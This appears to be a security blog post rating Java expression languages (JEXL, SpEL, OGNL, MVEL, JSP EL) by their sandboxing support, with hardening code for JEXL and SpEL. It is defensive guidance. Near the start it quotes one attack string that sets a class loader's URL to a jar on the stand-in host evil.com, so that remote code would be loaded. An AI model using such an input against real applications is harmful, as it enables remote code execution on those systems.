Which Java Expression Languages should you use if you prioritize security?

Expression languages are at the root of several high-profile CVEs and are one of the most dangerous components you can integrate into an application. See this post by the incomparable Alvaro Muñoz if you want a taste of how deep the pain can go. Sort of the whole point of them is to execute arbitrary code, and it's easy to make a mistake with them that leads to a catastrophic outcome -- remote code execution.

We want to help people use them safely, so we did some research into sandboxing them to make exploitation harder. This led us down a rabbit hole of the different security features available in each of the major options.

Besides JEXL and Spring, the options for sandboxing or restricting get a lot harder and a lot less intuitive. There is a surprising lack of consideration for this control for these libraries' primary use cases. I am very appreciative of people who work on open source, and I don't think the root cause of this insecurity is incompetence or malice -- it just seems that security is genuinely not on their minds.

It's worth pointing out that many of them provide sandboxing against assignment or basic metadata-targeted attacks like we've seen in CVE-2010-1622 and CVE-2022-22965:

String userInput = "bean.class.classLoader.urls[0]=https:evil.com/x.jar";
evaluator.evaluate(userInput); // this could cause evil code to run

Without this protection, they couldn't be used at all -- so we're considering that type of protection to be table stakes. Let's look at them!

JEXL

The first one to investigate was Apache Commons' JEXL. Using JEXL without a sandbox is reported by CodeQL, and the fix is straightforward. So, if you have CodeQL running on your repo, and you don't use the JexlSandbox, @pixeebot will now harden it for you with a change like this:

+ import io.github.pixee.security.UnwantedTypes;
  ...
  String input = message.read();
+ JexlSandbox sandbox = new JexlSandbox(true);
+ for (String cls : UnwantedTypes.all()) {
+   sandbox.block(cls);
+ }
- JexlEngine jexl = new JexlBuilder().create();
+ JexlEngine jexl = new JexlBuilder().sandbox(sandbox).create();
  JexlExpression expression = jexl.createExpression(input);
  JexlContext context = new MapContext();
  expression.evaluate(context);
Unfortunately as of 12/18/2023 CodeQL appears to have a regression where it's no longer finding this vulnerability. Here's the vulnerable test code and here you can see CodeQL doesn't find it.

This change will prevent JEXL from evaluating any properties or methods on some of the types commonly involved in exploits. This isn't complete protection on its own for all possible vulnerabilities, but it helps a lot. They have more fine-grained control by letting you write your own set of JexlPermission instances to apply to your evaluation as well.

Allows Type RestrictionAllows Property/Method RestrictionHas Higher Level Use-Case APIsTotally Scientific Grade
YesYesNoA-

Spring Expression Language (SpEL)

Spring offers the most configurability through a type called EvaluationContext. It allows detailed control of expression evaluation by implementing your own type and method resolvers, assignment logic, and more. The CodeThreat team discusses this in some detail. It offers high-level controls too, that map to a particular use case. For instance, if you just want to allow read-only access to public properties, you could create a context like this:

// create a context that can only be used for reading
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(str);
return exp.getValue(context);
Allows Type RestrictionAllows Property/Method RestrictionHas Higher Level Use-Case APIsTotally Scientific Grade
YesYesYesA+

We have some work ahead of us to decipher what would be the best way to help sandbox these evaluation contexts universally, but we know the tools in our toolbelt are many!

OGNL

Object Graph Notation Language (OGNL) has outsourced the security problem. They allow you to specify a SecurityManager to use during evaluation:

-Dognl.sandbox=acme.sandbox.MySandbox

Well, the SecurityManager was deprecated in Java 17 and maintainers have said "This ain't it chief". Turns out, a feature built to support applets running in your browser in the 1990's doesn't really answer the mail for modern, server-side threats.

Using a SecurityManager here is asking the user to take on a lot of unfamiliar complexity when the primary thing they want to do is just disallow access to certain types or limit evaluation behaviors.

If my kitchen sink is leaking, I want to fix the pipe -- I don't want to have to learn about fluid dynamics. Unfortunately, that's the situation here. It is no surprise that Struts 2's widespread use of OGNL has caused it to suffer so many critical CVEs.

This StackOverflow thread has a nice discussion on using SecurityManager in combination with instrumentation to provide more precise controls, including a nice proof-of-concept library. However, there's no denying that this is a dead end for usability, durability, and comprehensiveness.

Allows Type RestrictionAllows Property/Method RestrictionHas Higher Level Use-Case APIsTotally Scientific Grade
Not reallyNot reallyNoD

MVEL

MVEL doesn't offer anything for sandboxing, besides natively limiting access to .class in bean introspection. There are no further controls. You can look at their documentation and Control+F for terms like "security", and you won't turn up anything. The project is active, and users have even asked for sandboxing features without even so much as a reply =(.

Slightly scarier is that MVEL is a relatively popular project embedded into many other projects. Here's a page that describes how MVEL can be used in Apache Camel to operate on untrusted data 😬.

Again, not to be disparaging -- I believe that security is not even on the radar of a volunteer-supported project like this.

Allows Type RestrictionAllows Property/Method RestrictionHas Higher Level Use-Case APIsTotally Scientific Grade
NoNoNoJust No

JSP EL, Commons EL 🪦

These projects don't have sandboxing and have all been laid to rest. If you used them, and an exploit against them was discovered, there'd be no alternative except a large refactor to switch to another library. This would be quite painful, especially in cases where your users would have to migrate their expressions. Of course, users controlling expressions is really dangerous, but it's a common use case.

Conclusion

The main point of this exercise was to document the best available options for choosing an expression language when security is an important concern. It seems difficult to suggest anything besides JEXL or Spring EL. These libraries offer enough tools for users to secure themselves, even in the face of hostile expressions.

It's also important to consider the "people and process" side of who produces your libraries. The Spring team has good security expertise and a track record of taking security issues seriously.

Of course, this isn't to say that JEXL doesn't have such expertise or care, but it's just harder to evaluate from the "outside" of the project looking in. We'd be comfortable recommending both!